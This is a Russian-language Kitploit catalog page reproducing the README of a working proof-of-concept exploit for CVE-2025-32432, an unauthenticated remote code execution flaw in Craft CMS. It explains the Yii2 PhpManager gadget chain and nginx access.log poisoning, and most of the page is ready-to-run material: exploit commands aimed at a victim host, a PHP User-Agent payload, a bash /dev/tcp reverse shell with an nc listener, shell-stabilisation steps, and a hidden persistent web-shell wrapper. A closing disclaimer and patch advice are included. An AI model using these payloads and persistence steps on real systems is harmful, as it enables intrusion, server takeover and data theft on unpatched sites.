Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-32432 — Рабочий PoC для CVE-2025-32432 - Craft CMS <= 5.6.16 неаутентифицированный RCE через Yii2 PhpManager gadget + отравление nginx access.log | Kitploit
Инструменты/GitHubGitHub/cd-ratel/cve-2025-32432
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubcd-ratel/cve-2025-32432

CVE-2025-32432

Рабочий PoC для CVE-2025-32432 - Craft CMS <= 5.6.16 неаутентифицированный RCE через Yii2 PhpManager gadget + отравление nginx access.log

Репозиторий
2143 месяцев назадЕщё не проверено
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-32432 - Неаутентифицированный RCE в Craft CMS PoC

Рабочее доказательство концепции для CVE-2025-32432, уязвимости удаленного выполнения кода без аутентификации в Craft CMS версий до 5.6.16 включительно (также затрагивает ветки 4.x и 3.x на эквивалентных участках кода).

Ключевые слова поиска: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit, Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior, nginx log poisoning Craft, unauth RCE craftcms 2025.


TL;DR

root@kitploit:~
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'

Режим по умолчанию нацелен на стандартные установки Craft CMS. Флаг --lab предназначен для задания carangueijada-20 проекта hacklab-platform, который защищает Craft за кастомной сессионной кукой.


Уязвимость

Затронутый компонент: craft\controllers\AssetsController::actionGenerateTransform.

Действие зарегистрировано как allowAnonymous, поэтому аутентификация не требуется. Он принимает POST-параметр handle, который затем разворачивается в вызов Craft::createObject():

root@kitploit:~
$transform = Craft::createObject([
    'class' => ImageTransform::class,
    ...$handle,
]);

Когда $handle – это ассоциативный массив под контролем атакующего, развертывание инжектирует произвольные ключи в конфигурацию конструктора. В частности, ключ, начинающийся с as , интерпретируется yii\base\Component::__set как прикрепление поведения, что вызывает Yii::createObject($config) для значения до любой проверки типа:

root@kitploit:~
elseif (strncmp($name, 'as ', 3) === 0) {
    $name = trim(substr($name, 3));
    $this->attachBehavior(
        $name,
        $value instanceof Behavior ? $value : Yii::createObject($value),
    );
    return;
}

Исправление Yii2 в версии 2.0.50 добавило проверку is_subclass_of($value['class'], Behavior::class) для этой ветки; уязвимые установки (Yii2 <= 2.0.49 или более ранние с удалённой проверкой) полностью пропускают эту защиту.

Гаджет: yii\rbac\PhpManager

PhpManager – стандартный класс Yii2. Его метод init() вызывает load(), который вызывает loadFromFile($this->itemFile). loadFromFile буквально:

root@kitploit:~
protected function loadFromFile($file)
{
    if (is_file($file)) {
        return require $file;
    }
    return [];
}

require обрабатывает любой файл на диске как PHP. Если файл содержит блок <?php ... ?>, этот блок выполняется в воркере. Указав itemFile на файл, содержимое которого контролируется атакующим, достигается полный RCE.

Сток: access.log nginx

Надёжный сток для всех установок – это access.log nginx в комбинированном формате. Он записывает User-Agent запроса дословно, включая непечатные символы и большинство знаков пунктуации. Отправив запрос, чей User-Agent равен <?php system('id'); exit; ?>, атакующий помещает PHP-блок по известному пути. Указав itemFile на /var/log/nginx/access.log, require обрабатывает этот файл, выполняя все блоки <?php ... ?> по порядку.

Важны две тонкости:

  1. Без двойных кавычек внутри полезной нагрузки. nginx экранирует " в \x22 в комбинированном формате, что ломает парсинг PHP строки. Используйте одинарные кавычки или конкатенацию с chr().
  2. exit; в конце, чтобы require прервался до обработки последующих строк журнала, которые могут содержать другие некорректные полезные нагрузки.

Затронутые версии

КомпонентУязвимая версияИсправленная версия
Craft CMS<= 5.6.165.6.17
Craft CMS<= 4.15.24.15.3
Craft CMS<= 3.9.143.9.15
Yii2<= 2.0.492.0.50

Craft 5.6.17 добавляет проверку ImageTransformerInterface на класс трансформера. Yii2 2.0.50 добавляет проверку подкласса Behavior в Component::__set. Любое из двух исправлений закрывает эту конкретную цепочку гаджетов.


Требования

  • Python 3.8+
  • Библиотека requests (pip install -r requirements.txt)
  • Сетевая доступность до целевого HTTP(S) эндпоинта
  • Действительный assetId Craft на цели. По умолчанию 2; переопределить с помощью -a <id> при необходимости (идентификатор ресурса 1 обычно является аватаром администратора).

Использование

Стандартный Craft CMS

root@kitploit:~
python3 exploit.py -u http://victim.tld -c 'id'

Craft, смонтированный с префиксом пути

root@kitploit:~
python3 exploit.py -u http://victim.tld -p /cms -c 'id'

Другой идентификатор ресурса

root@kitploit:~
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'

Другой itemFile (другой путь к журналу, сессия FPM и т.д.)

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   -i /var/log/apache2/access.log \
                   -c 'id'

Режим лаборатории (задание carangueijada-20)

Лаборатория carangueijada-20 из проекта hacklab-platform защищает установку Craft за кукой coopsess, выдаваемой через PATCH /login. Флаг --lab автоматически обрабатывает этот рукопожатие.

root@kitploit:~
python3 exploit.py --lab \
                   -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
                   -c 'id; uname -a'

Убедитесь, что www.carangueijada.coop разрешается в IP лаборатории (при необходимости добавьте в /etc/hosts).

Обратная оболочка

Флаг --revshell запускает bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 в фоне, чтобы POST-запрос гаджета возвращался мгновенно.

Двухтерминальный поток (самый надёжный):

root@kitploit:~
# терминал 1 - слушатель на вашей машине
nc -lvnp 4444

# терминал 2 - запуск эксплойта
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444

Однотерминальный поток со встроенным слушателем:

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444 \
                   --auto-listen

--auto-listen запускает nc -lvnp <lport> в том же терминале перед отправкой полезной нагрузки. Ctrl+C для выхода.

Пример сессии (лаборатория):

root@kitploit:~
$ python3 exploit.py --lab \
    -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
    --revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*]     coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*]     HTTP 200
[*] Reverse shell fired.

# в слушателе:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$

Стабилизация оболочки (после подключения выполнить внутри обратной оболочки):

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z для фона nc
stty raw -echo; fg
# Дважды Enter
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200

Как работает идемпотентность

При первом запуске эксплойт однократно отравляет access.log, чтобы разместить скрытый PHP-обёртку в /tmp/.cve32432_w.php. Обёртка читает HTTP-заголовок X-Cmd и выполняет system($_SERVER['HTTP_X_CMD']). Каждый последующий вызов указывает itemFile на файл обёртки и передаёт команду через заголовок. Больше никакого отравления, загрязнения журналов, сбоев «первый <?php exit; блок побеждает».

Если нужно принудительно пересоздать обёртку, удалите /tmp/.cve32432_w.php на цели (это можно сделать через саму обёртку: --cmd 'rm /tmp/.cve32432_w.php').


Пример вывода

Успешный запуск на свежей цели:

root@kitploit:~
[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*]     CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*]     poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*]     HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux

Запасной вариант при загрязнённом журнале (цель уже эксплуатировалась, старая полезная нагрузка завершается до вашей):

root@kitploit:~
[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Как на самом деле срабатывает цепочка

  1. POST /actions/assets/generate-transform попадает в AssetsController::actionGenerateTransform.
  2. Обработчик формирует $config = ['class' => ImageTransform::class, ...$handle]. Наш handle[as gadget] переживает развёртывание.
  3. Craft::createObject($config) вызывает Yii::$container->get(ImageTransform::class, [], $config), который создаёт экземпляр ImageTransform и записывает каждый оставшийся ключ конфигурации через $transform->{$key} = $value.
  4. Когда парсер доходит до as gadget, Component::__set срабатывает на префикс as и вызывает Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log']).
  5. Yii::createObject конструирует PhpManager, запускает __construct() и затем init().
  6. PhpManager::init() -> load() -> loadFromFile($this->itemFile) -> require '/var/log/nginx/access.log'.
  7. PHP обрабатывает файл журнала. Не-PHP текст выводится в stdout (попадает в тело HTTP-ответа). Блоки <?php ... ?> выполняются в воркере.
  8. Наша заложенная полезная нагрузка выполняет system($cmd) и exit;. Вывод появляется в теле ответа в том месте, где находился <?php блок.

Устранение неполадок

СимптомПричинаИсправление
HTTP 400 + «could not verify your data submission» / «Pedido invalido»CSRF-токен не привязан к куке, используемой в POSTСкрипт использует один requests.Session; если переписываете, убедитесь, что хранилище кук сохраняет CRAFT_CSRF_TOKEN между запросами к session-info и POST.
HTTP 403 на /actions/...Неправильный префикс пути или виртуальный хостИспользуйте -p /prefix, чтобы указать, где смонтирован Craft; убедитесь, что заголовок Host соответствует установке.
csrfTokenValue пустое / session-info возвращает HTMLНеправильный заголовок AcceptСкрипт уже отправляет Accept: application/json; если убрали, восстановите.
Вывод никогда не показывает вашу командуaccess.log уже содержит старую полезную нагрузку <?php ... exit; ?>, которая выполняется первойПерезагрузите / обрежьте журнал на цели. Если у вас есть только RCE-as-id, дождитесь следующего logrotate или переключитесь через записываемый PHP-файл (например, /tmp/wrapper.php с system($_SERVER['HTTP_X_CMD']);) и используйте его как itemFile.
assetId not foundНеправильный ID для этой установкиПросмотрите публичные URL ресурсов, чтобы перечислить ID, или попробуйте -a 1, затем -a 3..N.
Исправленная цельCraft >= 5.6.17 или Yii2 >= 2.0.50Цепочка закрыта; найдите другой уязвимый класс или двигайтесь дальше.
Полезная нагрузка вызывает фатальную ошибку PHPБолее старые записи журнала содержат некорректный PHP, который ломает парсер до вашего блокаТо же, что и исправление загрязнённого журнала: перезагрузите журнал.

Обход загрязнённого журнала (без административного доступа)

Если вы можете надёжно выполнять только id (потому что старая полезная нагрузка с exit; заблокировала цепочку), один из жизнеспособных путей — заставить эту единственную команду класса id записать PHP-обёртку в путь, который вы контролируете, а затем изменить itemFile на этот путь для всех последующих запросов:

root@kitploit:~
# одноразовое отравление командой, которая создаёт /tmp/w.php от www-data
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# закодировать CMD через chr() ...

Затем выполнить:

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   -i /tmp/w.php \
                   -c 'whoami'

Каждый последующий вызов читает /tmp/w.php (чистый PHP-файл, в котором до полезной нагрузки ничего нет) и выполняет команду из заголовка X-Cmd. Адаптируйте скрипт, если хотите использовать это как встроенный режим.


Файлы

root@kitploit:~
.
├── exploit.py        # PoC
├── README.md         # этот файл
├── requirements.txt  # Python-зависимости (только `requests`)
└── LICENSE           # MIT

Ссылки

  • Запись базы знаний Craft CMS: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
  • GitHub Security Advisory (GHSA-f3gw-9ww9-jmc3): https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3
  • Анализ кампании в дикой природе от SensePost: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
  • Yii2 Component.php (уязвимая ревизия): https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.php
  • Исправление Yii2 (2.0.50): https://github.com/yiisoft/yii2/pull/19938
  • Коммит Craft CMS, исправляющий 5.6.17: https://github.com/craftcms/cms/commit (ищите «ImageTransformerInterface» около 2025-04-09)
  • OWASP log injection: https://owasp.org/www-community/attacks/Log_Injection
  • HackTricks LFI-to-RCE через журналы nginx: https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-nginx-log

Отказ от ответственности

Это доказательство концепции публикуется только для оборонительных исследований, образовательных целей и авторизованного тестирования на проникновение. Запуск его против систем, которыми вы не владеете или на которые не имеете письменного разрешения, незаконен в большинстве юрисдикций. Автор не несёт ответственности за неправомерное использование.

Если вы поддерживаете установку Craft CMS, обновитесь до 5.6.17 или новее (или до соответствующего исправления для веток 4.x / 3.x). Уязвимость тривиально эксплуатируется и использовалась в реальных кампаниях, задокументированных SensePost.

Лицензия

MIT. См. LICENSE.

Скачать инструмент